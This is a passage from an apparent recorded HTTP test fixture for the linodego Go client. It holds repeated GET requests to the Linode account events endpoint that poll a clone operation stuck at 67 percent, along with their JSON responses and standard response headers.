"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 59.937723, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.018031, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.076482, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.136904, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.196429, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.261033, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.326636, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.524335, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.591194, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.656787, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.722082, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 60.811953, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 61.169308, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 61.227581, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "550" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 61.29042, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 61.35681, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "549" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 61.506071, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE 